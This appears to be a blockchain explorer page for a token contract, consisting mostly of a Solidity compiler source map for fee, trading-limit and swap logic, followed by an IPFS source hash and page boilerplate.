-1;4767:4:0;4618:161;;;;;:::o;4062:95::-;4115:7;2939:15;2883:1;2939:2;:15;:::i;:::-;2926:28;;:10;:28;:::i;:::-;4135:14;;4062:95;:::o;4787:266::-;4885:4;4902:36;4912:6;4920:9;4931:6;4902:9;:36::i;:::-;-1:-1:-1;;;;;4980:19:0;;;;;;:11;:19;;;;;;;;173:10;4980:33;;;;;;;;;4949:74;;4958:6;;4980:42;;5016:6;;4980:42;:::i;:::-;4949:8;:74::i;:::-;-1:-1:-1;5041:4:0;4787:266;;;;;;:::o;730:148::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;;;;;;;;;837:1:::1;821:6:::0;;800:40:::1;::::0;-1:-1:-1;;;;;821:6:0;;::::1;::::0;800:40:::1;::::0;837:1;;800:40:::1;868:1;851:19:::0;;-1:-1:-1;;;;;;851:19:0::1;::::0;;730:148::o;6016:131::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;6084:13:::1;:11;:13::i;:::-;6070:11;:27:::0;6126:13:::1;:11;:13::i;:::-;6108:15;:31:::0;6016:131::o;5512:336::-;643:6;;-1:-1:-1;;;;;643:6:0;173:10;643:22;635:67;;;;-1:-1:-1;;;635:67:0;;;;;;;:::i;:::-;5576:14:::1;::::0;::::1;;5575:15;5567:43;;;::::0;-1:-1:-1;;;5567:43:0;;5416:2:1;5567:43:0::1;::::0;::::1;5398:21:1::0;5455:2;5435:18;;;5428:30;-1:-1:-1;;;5474:18:1;;;5467:45;5529:18;;5567:43:0::1;5214:339:1::0;5567:43:0::1;5658:6;::::0;5621:15:::1;:44:::0;;-1:-1:-1;;;;;;5621:44:0::1;-1:-1:-1::0;;;;;5658:6:0;;::::1;5621:44:::0;;::::1;::::0;;5710:25:::1;::::0;;-1:-1:-1;;;5710:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;5658:6;5710:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5692:52:0::1;;5753:4;5760:15;;;;;;;;;-1:-1:-1::0;;;;;5760:15:0::1;-1:-1:-1::0;;;;;5760:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5692:91;::::0;-1:-1:-1;;;;;;5692:91:0::1;::::0;;;;;;-1:-1:-1;;;;;6006:32:1;;;5692:91:0::1;::::0;::::1;5988:51:1::0;6075:32;;6055:18;;;6048:60;5961:18;;5692:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5684:4;::::0;-1:-1:-1;;;;;5684:4:0;;::::1;:99:::0;::::1;;5676:132;;;::::0;-1:-1:-1;;;5676:132:0;;6321:2:1;5676:132:0::1;::::0;::::1;6303:21:1::0;6360:2;6340:18;;;6333:30;-1:-1:-1;;;6379:18:1;;;6372:50;6439:18;;5676:132:0::1;6119:344:1::0;5676:132:0::1;5819:14;:21:::0;;-1:-1:-1;;5819:21:0::1;5836:4;5819:21;::::0;;5512:336::o;4292:167::-;4370:4;4387:42;173:10;4411:9;4422:6;4387:9;:42::i;5061:335::-;-1:-1:-1;;;;;5154:19:0;;5146:68;;;;-1:-1:-1;;;5146:68:0;;6670:2:1;5146:68:0;;;6652:21:1;6709:2;6689:18;;;6682:30;6748:34;6728:18;;;6721:62;-1:-1:-1;;;6799:18:1;;;6792:34;6843:19;;5146:68:0;6468:400:1;5146:68:0;-1:-1:-1;;;;;5233:21:0;;5225:68;;;;-1:-1:-1;;;5225:68:0;;7075:2:1;5225:68:0;;;7057:21:1;7114:2;7094:18;;;7087:30;7153:34;7133:18;;;7126:62;-1:-1:-1;;;7204:18:1;;;7197:32;7246:19;;5225:68:0;6873:398:1;5225:68:0;-1:-1:-1;;;;;5304:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5356:32;;1283:25:1;;;5356:32:0;;1256:18:1;5356:32:0;;;;;;;;5061:335;;;:::o;6360:1098::-;6458:1;6449:6;:10;6441:34;;;;-1:-1:-1;;;6441:34:0;;7478:2:1;6441:34:0;;;7460:21:1;7517:2;7497:18;;;7490:30;-1:-1:-1;;;7536:18:1;;;7529:41;7587:18;;6441:34:0;7276:335:1;6441:34:0;6493:14;;;;6488:217;;554:7;581:6;-1:-1:-1;;;;;6532:15:0;;;581:6;;6532:15;6524:47;;;;-1:-1:-1;;;6524:47:0;;7818:2:1;6524:47:0;;;7800:21:1;7857:2;7837:18;;;7830:30;-1:-1:-1;;;7876:18:1;;;7869:49;7935:18;;6524:47:0;7616:343:1;6524:47:0;6590:4;;-1:-1:-1;;;;;6590:4:0;6586:108;;6629:4;:9;;-1:-1:-1;;;;;;6629:9:0;-1:-1:-1;;;;;6629:9:0;;;;;6657:21;6661:4;6629:9;6671:6;6657:3;:21::i;:::-;;6586:108;-1:-1:-1;;;;;6721:21:0;;6737:4;6721:21;;:44;;-1:-1:-1;;;;;;6746:19:0;;6760:4;6746:19;6721:44;:56;;;-1:-1:-1;6769:8:0;;;;;;;6721:56;6717:142;;;6794:32;6809:4;6815:2;6819:6;6794:14;:32::i;:::-;6360:1098;;;:::o;6717:142::-;6881:4;;-1:-1:-1;;;;;6875:10:0;;;6881:4;;6875:10;:60;;;;-1:-1:-1;6917:18:0;;6907:4;4231:7;4258:18;;;:9;:18;;;;;;6889:46;;6875:60;6871:231;;;6952:8;:15;;-1:-1:-1;;6952:15:0;;;;;6982:42;6999:24;7017:4;-1:-1:-1;;;;;4258:18:0;4231:7;4258:18;;;:9;:18;;;;;;;4165:119;6999:24;6982:16;:42::i;:::-;7039:8;:16;;-1:-1:-1;;7039:16:0;;;7070:20;:18;:20::i;:::-;7126:4;;-1:-1:-1;;;;;7118:12:0;;;7126:4;;7118:12;:28;;;;-1:-1:-1;7140:6:0;;-1:-1:-1;;;;;7134:12:0;;;7140:6;;7134:12;;7118:28;7114:207;;;7181:11;;7171:6;:21;;7163:49;;;;-1:-1:-1;;;7163:49:0;;8166:2:1;7163:49:0;;;8148:21:1;8205:2;8185:18;;;8178:30;-1:-1:-1;;;8224:18:1;;;8217:45;8279:18;;7163:49:0;7964:339:1;7163:49:0;7270:15;;7260:6;7235:22;7253:2;-1:-1:-1;;;;;4258:18:0;4231:7;4258:18;;;:9;:18;;;;;;;4165:119;7235:22;:31;;;;:::i;:::-;:50;;7227:82;;;;-1:-1:-1;;;7227:82:0;;8640:2:1;7227:82:0;;;8622:21:1;8679:2;8659:18;;;8652:30;-1:-1:-1;;;8698:18:1;;;8691:49;8757:18;;7227:82:0;8438:343:1;7227:82:0;7370:4;;7342:33;;7350:4;;7356:6;;-1:-1:-1;;;;;7364:10:0;;;7370:4;;7364:10;7342:7;:33::i;:::-;7333:42;;7386:32;7401:4;7407:2;7411:6;7386:14;:32::i;:::-;7429:21;7433:4;7439:2;7443:6;7429:3;:21::i;:::-;;6360:1098;;;:::o;5856:152::-;5929:4;5968:8;5482:12;;;5404:100;5968:8;5953:47;;-1:-1:-1;;;5953:47:0;;-1:-1:-1;;;;;9006:32:1;;;5953:47:0;;;8988:51:1;9075:32;;;9055:18;;;9048:60;9124:18;;;9117:34;;;5953:29:0;;;;;;;8961:18:1;;5953:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5946:54;5856:152;-1:-1:-1;;;;5856:152:0:o;6155:197::-;-1:-1:-1;;;;;6241:15:0;;;;;;:9;:15;;;;;:25;;6260:6;;6241:15;:25;;6260:6;;6241:25;:::i;:::-;;;;-1:-1:-1;;;;;;;6277:13:0;;;;;;:9;:13;;;;;:23;;6294:6;;6277:13;:23;;6294:6;;6277:23;:::i;:::-;;;;;;;;6333:2;-1:-1:-1;;;;;6318:26:0;6327:4;-1:-1:-1;;;;;6318:26:0;;6337:6;6318:26;;;;1283:25:1;;1271:2;1256:18;;1137:177;7799:541:0;7890:16;;;7904:1;7890:16;;;;;;;;7866:21;;7890:16;;;;;;;;;;-1:-1:-1;7890:16:0;7866:40;;7935:4;7917;7922:1;7917:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7917:23:0;;;:7;;;;;;;;;;:23;;;;7961:15;;:22;;;-1:-1:-1;;;7961:22:0;;;;:15;;;;;:20;;:22;;;;;7917:7;;7961:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7951:4;7956:1;7951:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;7951:32:0;;;:7;;;;;;;;;:32;8028:15;;7996:62;;8013:4;;8028:15;8046:11;7996:8;:62::i;:::-;8073:15;;8215:9;;8073:217;;-1:-1:-1;;;8073:217:0;;-1:-1:-1;;;;;8073:15:0;;;;:66;;:217;;8154:11;;8073:15;;8196:4;;8215:9;;;8073:15;;8264;;8073:217;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8069:264;;8315:7;7799:541;:::o;8069:264::-;7855:485;7799:541;:::o;8348:156::-;8402:21;:25;8398:99;;8444:9;;:41;;-1:-1:-1;;;;;8444:9:0;;;;8463:21;8444:41;;;;;:9;:41;:9;:41;8463:21;8444:9;:41;;;;;;;;;;;;;;;;;;;;;8398:99;8348:156::o;7466:325::-;7544:7;7564:11;7578:6;:25;;7597:6;;;;;;;7578:25;;;7587:7;;;;;;;7578:25;7564:39;;;;7618:3;7625:1;7618:8;7614:27;;7635:6;7628:13;;;;;7614:27;7652:17;7687:3;7672:12;7681:3;7672:6;:12;:::i;:::-;:18;;;;:::i;:::-;7652:38;;7701:46;7716:4;7730;7737:9;7701:14;:46::i;:::-;7765:18;7774:9;7765:6;:18;:::i;:::-;7758:25;7466:325;-1:-1:-1;;;;;;7466:325:0:o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2590:388::-;2658:6;2666;2719:2;2707:9;2698:7;2694:23;2690:32;2687:52;;;2735:1;2732;2725:12;2687:52;2774:9;2761:23;2793:31;2818:5;2793:31;:::i;:::-;2843:5;-1:-1:-1;2900:2:1;2885:18;;2872:32;2913:33;2872:32;2913:33;:::i;:::-;2965:7;2955:17;;;2590:388;;;;;:::o;2983:127::-;3044:10;3039:3;3035:20;3032:1;3025:31;3075:4;3072:1;3065:15;3099:4;3096:1;3089:15;3115:375;3203:1;3221:5;3235:249;3256:1;3246:8;3243:15;3235:249;;;3306:4;3301:3;3297:14;3291:4;3288:24;3285:50;;;3315:18;;:::i;:::-;3365:1;3355:8;3351:16;3348:49;;;3379:16;;;;3348:49;3462:1;3458:16;;;;;3418:15;;3235:249;;;3115:375;;;;;;:::o;3495:902::-;3544:5;3574:8;3564:80;;-1:-1:-1;3615:1:1;3629:5;;3564:80;3663:4;3653:76;;-1:-1:-1;3700:1:1;3714:5;;3653:76;3745:4;3763:1;3758:59;;;;3831:1;3826:174;;;;3738:262;;3758:59;3788:1;3779:10;;3802:5;;;3826:174;3863:3;3853:8;3850:17;3847:43;;;3870:18;;:::i;:::-;-1:-1:-1;;3926:1:1;3912:16;;3985:5;;3738:262;;4084:2;4074:8;4071:16;4065:3;4059:4;4056:13;4052:36;4046:2;4036:8;4033:16;4028:2;4022:4;4019:12;4015:35;4012:77;4009:203;;;-1:-1:-1;4121:19:1;;;4197:5;;4009:203;4244:42;-1:-1:-1;;4269:8:1;4263:4;4244:42;:::i;:::-;4322:6;4318:1;4314:6;4310:19;4301:7;4298:32;4295:58;;;4333:18;;:::i;:::-;4371:20;;3495:902;-1:-1:-1;;;3495:902:1:o;4402:140::-;4460:5;4489:47;4530:4;4520:8;4516:19;4510:4;4489:47;:::i;4547:168::-;4620:9;;;4651;;4668:15;;;4662:22;;4648:37;4638:71;;4689:18;;:::i;4720:128::-;4787:9;;;4808:11;;;4805:37;;;4822:18;;:::i;4853:356::-;5055:2;5037:21;;;5074:18;;;5067:30;5133:34;5128:2;5113:18;;5106:62;5200:2;5185:18;;4853:356::o;5558:251::-;5628:6;5681:2;5669:9;5660:7;5656:23;5652:32;5649:52;;;5697:1;5694;5687:12;5649:52;5729:9;5723:16;5748:31;5773:5;5748:31;:::i;8308:125::-;8373:9;;;8394:10;;;8391:36;;;8407:18;;:::i;9162:277::-;9229:6;9282:2;9270:9;9261:7;9257:23;9253:32;9250:52;;;9298:1;9295;9288:12;9250:52;9330:9;9324:16;9383:5;9376:13;9369:21;9362:5;9359:32;9349:60;;9405:1;9402;9395:12;9576:127;9637:10;9632:3;9628:20;9625:1;9618:31;9668:4;9665:1;9658:15;9692:4;9689:1;9682:15;9708:1051;10006:4;10054:3;10043:9;10039:19;10085:6;10074:9;10067:25;10128:6;10123:2;10112:9;10108:18;10101:34;10171:3;10166:2;10155:9;10151:18;10144:31;10195:6;10230;10224:13;10261:6;10253;10246:22;10299:3;10288:9;10284:19;10277:26;;10338:2;10330:6;10326:15;10312:29;;10359:1;10369:195;10383:6;10380:1;10377:13;10369:195;;;10448:13;;-1:-1:-1;;;;;10444:39:1;10432:52;;10513:2;10539:15;;;;10504:12;;;;10480:1;10398:9;10369:195;;;-1:-1:-1;;;;;;;10620:32:1;;;10615:2;10600:18;;10593:60;2339:31;;10704:3;10689:19;;2327:44;10581:3;-1:-1:-1;10662:47:1;;-1:-1:-1;2273:104:1;10662:47;10746:6;10740:3;10729:9;10725:19;10718:35;9708:1051;;;;;;;;;:::o;10764:217::-;10804:1;10830;10820:132;;10874:10;10869:3;10865:20;10862:1;10855:31;10909:4;10906:1;10899:15;10937:4;10934:1;10927:15;10820:132;-1:-1:-1;10966:9:1;;10764:217::o

Swarm Source

ipfs://e543e2488d58de21b7a3b043696216e9c5d646cbda67beb31f41ee92fa22ebab
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.